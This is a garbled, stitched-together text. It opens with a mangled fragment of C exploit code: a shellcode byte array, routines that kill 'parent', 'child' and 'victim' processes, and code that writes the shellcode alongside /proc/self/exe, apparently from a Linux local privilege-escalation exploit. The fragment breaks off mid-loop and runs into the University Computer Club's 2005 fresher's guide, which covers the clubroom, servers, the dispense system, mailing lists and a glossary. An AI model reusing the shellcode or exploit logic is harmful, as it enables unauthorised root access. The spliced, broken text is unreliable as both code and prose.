#i nclud e #include#in clude#includ e< errno.h># inclu de#inclu de#incl u de#incl ude< signal.h >#include#include#inclu de#in clude #include#inc lude#in clude#includ echarclip hcode[]="\x 90\x 90\xeb\x1 f\xb8\xb6\x 00\x00""\ x00\x5 b\x31\xc 9\x89\xca\ xcd\x80" "\xb8\x0f\ x00\x00 \x00\xb9\xe d\x0d"" \x00\x00\x cd\x80\x 89\xd0\x 89 \xd3""\x 40\xcd\x80 \xe8\xdc\ xff\xf f\xff ";#define CODE_SIZE( sizeof(cli ph code)-1)p id_tparent=1;pid_t child=1;pi d_tvict im=1;volat ileintgotchild= 0;voidfatal (char*msg){ perror(msg );kill(paren t,SIGKILL) ;kill(child,SI GKILL);kill (victim, SIGKILL); }voidputcode(unsi gn edlong*dst ){char buf[MAXPATHLEN+CODE _SIZE ];unsigned lon g*src;in ti,len;memc py(buf,c liphcode ,CODE_ SIZE);len= readlink(" /proc/s elf/exe ",buf+CO DE_SIZE,MA XPATHLE N1);if(len ==-1)fa tal("[-]Una bletorea d/pr oc/self/ex e") ;len+=CODE_SIZE+1;bu f[len]= '\0' ;src=(unsi g nedlong*)buf;for (i=0;i cd mkdir rmdir pwd more less cp mv rm pine elm mutt nano vim emacs finger who w w3m lynx ssh ssh -l ping man top ps ps aux (Linux) ps -ef (other UNIX) kill Many commands have an available help summary that you can get by typing --help (eg ls --help) or by reading the manpage (see man above). 9 Using the Clubroom The UCC clubroom is located on the 2nd floor of Cameron Hall (right above the Guild Tavern, see the back cover for a map). The UCC is usually open from about 9am (after the first door member arrives from 8am lectures) till 11pm (when UWA Security kick us out). It is also open on weekends from about noon till 11pm. You can see if the clubroom is open over the Internet by using the webcams6 or by fingering door@ucc.asn.au7. Books The UCC has an incredibly large number of books. As well as lots of books we've picked up over the years for free, the UCC also has a number of expensive, definitive texts on a variety of technical subjects. Topics include electronics, operating systems design, GUI programming and computer science. The book collection is pretty much uncatalogued and unsorted, so you'll have to search for what you're looking for. Email books@ucc.asn.au to ask if we might have a title, or to say that you're borrowing it. UCC only likes to purchase books that members will consider useful and are likely to be used, so does not have scheduled semester book buys. If you think we really must own a certain title, mail the committee. Tools and Hardware The UCC has a lot of tools for fixing (or destroying) things. We own a good soldering iron, a digital oscilloscope, a power drill, a jigsaw and numerous multimeters, as well as screwdrivers, various pliers, ratchets, crimping tools, saws, hammers, etc. All of these tools should be located in the big orange tool cupboard (unless someone is lazy) and should be returned there afterwards (even if someone was lazy). Tools can be borrowed, if they are written down in the theft book. We also have vast quantities of discrete components, random case hardware, semiconductors, integrated circuits, screws and cable. Members are free to use these. When using the UCC's tools, please do not use them to cut through live power cables or remove (and summarily lose) radioactive alpha emitters! Computing Facilities You are welcome to use pretty much every machine you can see in the clubroom (unless it belongs to someone else). Most machines require your user name and password to log in (see Setting up your Account if you haven't already done so). There are also a number of servers in the machine room which you can log into, including morwong, mussel, mermaid, martello and manbo. See UCC Machines in the middle of this guide. All UCC machines should be directly available inside UWA via the name hostname.ucc.gu.uwa.edu.au. Many machines are also available via the WAIX peering network and can be accessed via the name hostname.waix.ucc.gu.uwa.edu.au if your ISP is part of WAIX8. If it is not, you can always log in via tartarus (if you have had full access enabled) or you can use the charged service ssh.ucc.asn.au, the cost of which will be automatically deducted from your dispense account. Many of our machines run some flavour of UNIX (Linux, Solaris, NetBSD, IRIX, etc.) so it might take a bit of time to learn how to use them. UNIX is a very powerful operating system, and many popular enterprise grade operating systems are a version of UNIX. To help you out, we have included our Common UNIX Commands in the middle of this guide. We have two wireless access points available. You can access them by setting your SSID to ucc (for 802.11b) or ugg (for 802.11g). Access through these points is a bit restrictive; 6 http://webcam.ucc.asn.au/ 7 http://www.ucc.asn.au/services/door.ucc 8 For a list of WAIX participants, see http://www.waia.asn.au/waix/participants.shtml 10 however you are able to connect to the SNAP VPN9. If you're having trouble, try asking someone with a laptop (not an uncommon sight these days) if they're not too busy. Getting Help Sometimes you might get stuck trying to work out how to use a machine or something in the UCC. Don't be afraid to ask for help. Not everything people do in the UCC is easy to understand. Lots of the stuff designed for UCC is a bit complicated, and it might not be obvious how it works. Find someone who looks knowledgeable (and preferably not too busy) and perhaps ask them if they can help you out. Dispense Without a doubt, dispense is one of most singularly important things in the UCC. It is a mish-mash of software and hardware and over the years has evolved from a simple way to electronically dispense drinks to your UCC electronic wallet. Services, paper, phone calls, drinks and snacks are all paid for with dispense. Dispense also provides a method for checking the status of the doors and movement sensors, as well as allowing Door group to open the electronic door lock. Maintaining Your Coke Account The UCC drink and snack machines do not accept money directly. To get at their delicious contents you will first need some coke credit. The usual method of doing this is to shout "Is anyone here in Coke?" in the clubroom. Assuming someone says "Yes!", you can ask them to please add some money to your account. You will need to get a plastic bag from on top of the cash box (on top of the filing cabinet, near the TV), show them the bag with the money in it, read them the bag number and then put it in the slot in the top of the cash box. Using Dispense from a Console The traditional way to use dispense is via a UNIX terminal on morwong, mermaid or mussel. Typing dispense at the prompt will bring up a list of purchases available to you. You will not be able to select items you do not have enough credit for. If you do not wish to select an item you can press q to return back to the prompt. Dispense has options to pay for other items besides drinks and snacks. The selection of such items will depend on the time of year, but commonly include tickets to events and items like the UCC T-shirt. You can also pay for phone calls and paper for the laser printer this way. You can then ask someone on committee for your item, informing them you dispensed the item. Using Dispense from the Snack Machine After many years, the snack machine has finally been connected to dispense. You can access dispense through the snack machine keypad. However first you will need to set up your account for this access. Find out your user id (uid) with the id command: [murphy@mussel ~]$ id uid=11000(murphy) gid=21(gumby) groups=21(gumby),69(committee) Now set yourself a PIN (number): [murphy@mussel ~]$ echo "1000" > ~/.pin [murphy@mussel ~]$ chmod 400 ~/.pin # 1000 is murphy's PIN # keep it private You can now type in your 5 digit user id, followed by your four digit PIN to authenticate to dispense. As well as the two digit codes for snacks in the machine, you can request a drink by selecting the slot number followed by an 8 (the machine will tell you what drinks are available if you wait for it to all scroll past; coke is always 68). If you were in Door group, you could also use the machine to open the door. 9 http://snap.uwa.edu.au/ 11 Dispense Version 2 People are currently working on a next generation version of dispense. The next version of dispense will give us a dispense library for a better console application (which will be able to dispense snacks as well), GUI applications, and countless other improved features. There is nothing quite like dispense anywhere else in the world, and the people who have worked on it have gone down as heroes in the UCC History. Besides enabling us to do even better things with dispense, version 2 will allow an entire new generation of hackers to become infamous for future generations of UCCans. UCC Online The UCC currently has a number of websites and online services available for members. Some UCC websites include: Homepage http://www.ucc.asn.au/ Webmail http://webmail.ucc.asn.au/ Mailing Lists http://lists.ucc.gu.uwa.edu.au/mailman/listinfo Planet UCC http://planet.ucc.asn.au/ Photo Galleries http://gallery.ucc.asn.au/ Webcams http://webcam.ucc.asn.au/ Can Crusher http://wesley.ucc.asn.au/ Mailing Lists The UCC's mailing lists are the lifeblood of the club. Many of our members are not able to be around the clubroom due to work commitments, or because they are no longer in Perth. Yet still these members retain a partially active interest in the club through its mailing lists. The UCC hosts numerous mailing lists, for all manner of topics, browsable via the web interface listed above. The UCC has a number of lists that you might be interested in: ucc-announce ­ the announcements list, you were asked if you wanted to be subscribed to this list when you signed up. If you said, no, subscribe now. ucc ­ the general discussion list, most of the UCC's discussion takes place on this list, as well as announcements for informal events like parties and trips to the pub (when you're old enough). Most UCCans are subscribed to this list. committee ­ the open committee list, anyone interested in committee can sign up to this mailing list. The committee also has a private list for sensitive matters, committeeonly. tech ­ the list for discussing the UCC's hardware and computers. General computer discussion should take place on the ucc list instead. Flame Flame is the UCC's MUD (Multi User Dungeon). However, unlike most MUDs, Flame is not a game, and is instead used primarily for chatting to other UCCans. Anybody can connect to flame and create themselves a character, as well as develop new items and rooms for themselves and others. You can easily connect to flame using telnet (telnet flame.ucc.asn.au 4242) or using a MUD client such as TinyFugue. Many regular users of Flame have been around the UCC for quite a while, so please be courteous to them, as well as all other Flame users. 12 Changing Your UCC Password If you should need to change your UCC password, you can do it in one of two ways. on a Windows machine ­ simply use the standard Ctrl-Alt-Delete/Change Password method, and your password should be changed on all machines on a UNIX machine, use the yppasswd command (not passwd, since we use NIS to authenticate users). This will not update your password on the Windows machines unfortunately, these will still use your old password. Sponsors in 2005 The UCC thanks all of it's sponsors for 2005, as well as sponsors from previous years. Unfortunately, due to time constraints, we were unable to publish our list of sponsors in this guide; however we are appreciative of what they provide us, and how vital their sponsorship is for the club. For more information on all of our sponsors, both this year and in previous years, check out the website: http://www.ucc.asn.au/sponsors/ Acknowledgements and Colophon This guide was published thanks to the hard work of Cameron Patrick, David Adam, Greg Cresp, James Andrewartha, James Cox and Davyd Madeley. This guide rests of the shoulders of giants, thanks to past work by Bernard Blackham, Nick Rohrlach and many forgotten others. Also thanks to everyone who manned the UCC's stall and clubroom on O'Day. Finally, thanks to the Committee and member of Wheel, who keep the club running, even when they really don't have time. This guide was written in OpenOffice ­ the open source office suite. For more information, remember to check out the UCC's website at: http://www.ucc.asn.au/ This work is licensed under the Creative Commons Attribution-NonCommercialShareAlike License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/2.0/au/ or send a letter to Creative Commons, 559 Nathan Abbott Way, Stanford, California 94305, USA. 13 Glossary (ACC) Murphy aka. Dr ACC Murphy ­ A Computer Called Murphy. Dr ACC Murphy is infamous around the UCC. He even receives mail! Alpha A CPU architecture produced by DEC. BSD Berkeley Systems Distribution ­ a UNIX developed at Berkeley, now better known through the FreeBSD, NetBSD and OpenBSD UNIXes. blog aka. weblog ­ sort of like a journal on the Internet (You don't have one?). Syndicated by a Planet. coke credit If you gotta ask, you ain't got it! Coke credit is how people usually refer to money in your dispense account. Coke Group The people who can put money (coke credit) in your dispense account. Debian a Linux distribution popular in the UCC due to its community nature. DEC Digital Equipment Corporation ­ made a lot of cool stuff, including the PDP and VAX computers and VMS. Bought out by Compaq, who were bought out by HP. DECServer Sort of a router for serial ports, allows you to connect to one serial port from another. Usually connected to DEC Terminals, servers and dispense. DEC Terminal A dumb serial terminal, useful for plugging into the serial console on servers (possibly via a DEC Server). Has a model number like vt100 ,vt200 or vt420. dispense dispense started off as a way to dispense cokes from the online coke machine, and has since grown into the way UCCans think the world should do business. Door Group the group of people charged with keep the room open, tidy and safe. Firefox A web browser by the Mozilla Foundation. Check it out! Flame Flame is the UCC's MUD; however unlike most MUDs, Flame is not a game, and is mostly used for chatting. Fresher A new university student, usually also a first time UCC member. Fresher Rep Fresher Committee member, usually chosen because they look like they'll make a good worker drone in the future. Represents the freshers at committee meetings, if they attend. GNOME GNU Networked Object Model Environment ­ an open source desktop environment aimed primarily at UNIX computers. Popular in the UCC. GNU GNU is Not Unix ­ a layer of libraries and utilities to implement a UNIX like operating system, commonly used on top of Linux. IRIX A UNIX used on machines made by sgi. kernel The core of an operating system. All operating systems have a kernel, some popular ones include the Linux kernel and the Mach kernel. Linux the kernel (basis) of an open source UNIX operating system that has developed quite a following among computer scientists and engineers. Loft the area above the UCC that looks down into the UCC clubroom. LAN gaming and other activities take place up there. machine room The UCC data centre. This is the small room with the glass doors that is located within the clubroom. All of our servers are kept in this room. It is locked when there is no one from Wheel around. mailing list a way of communicating with a very large number of people via email. The UCC has several mailing lists of varying popularity. 14 MIPS Microprocessor without Interlocked Pipeline Stages ­ a computer architecture used extensively by sgi and in the Sony PS2. Mozilla develop several open source web related products, such as Firefox and (Foundation) Thunderbird. MUD Multi User Dungeon ­ An old type of computer game played using telnet or a MUDding application. Precursor to the modern MMORPG games like World of Warcraft. UCC has a MUD called Flame. MUDder's Hand A malady very similar to Carpal Tunnel Syndrome, however is caused specifically by MUDding in excess. OCM Ordinary Committee Member ­ the worker drones of the UCC Committee, they do lots of work, for little reward. Oligoboot boots more then one operating system (selectable when you boot). NeXTStep An operating system developed by NeXT before they were bought out by Apple. Lots of NeXTStep is incorporated into MacOSX. open source A software ideology, where the source code to software (what is compiled into the program you run) is freely available. Open source software is considered "free as in speech", compared to freeware which is considered "free as in beer". Planet A web page that syndicates blogs. UCC has one at http://planet.ucc.asn.au/ Secret Wheel The song that is supposedly sung at the beginning of each Wheel meeting. Song sgi Silicon Graphics Incorporated ­ used to make cool graphics workstations such as the Indy and Indigo2 machines. Shenton Park The Shenton Park storage facility is where the UCC stores computers and other knick-knacks that will not fit in the clubroom. There are some interesting pieces of computing history stored there. SNAP Student Network Access Project ­ the way to get unrestricted access to the Internet at UWA, charged to your tartarus account. Solaris A UNIX developed by Sun Microsystems. tartarus Also referred to as the UWA Student Server. theft book this is where you write down that you borrowed tools from UCC. It is not for borrowing books; you mail books@ucc.asn.au to do that. TLA Three Letter Acronym ­ a way to refer to UCC members, often used in the minutes of meetings. Tru64 A UNIX that is used on Alpha, now owned by Hewlett-Packard. UCCan someone who spends a lot of time in the UCC. UniSFA the University Science Fiction Association, the ones down the hall. WAIX WA Internet eXchange ­ a group of ISPs and interested bodies who peer resources on the Internet for mutual benefit. Wheel Group the group responsible for maintaining computers, accounts and services in UCC. X-Term A dumb terminal that connects to a server to display things running over the X graphics environment. Not to be confused with xterm which is a graphical terminal (shell) for the X environment. 15 Ground Floor Second Floor Drink Voucher use this code in the UCC for the drink of your choice Contact Us +61 8 6488 3901 Box 22, Guild of Undergraduates 35 Stirling Hwy Crawley, WA, 6009 committee@ucc.asn.au http://www.ucc.asn.au/ 2005 UCC Fresher's Guide © 2005, University Computer Club 16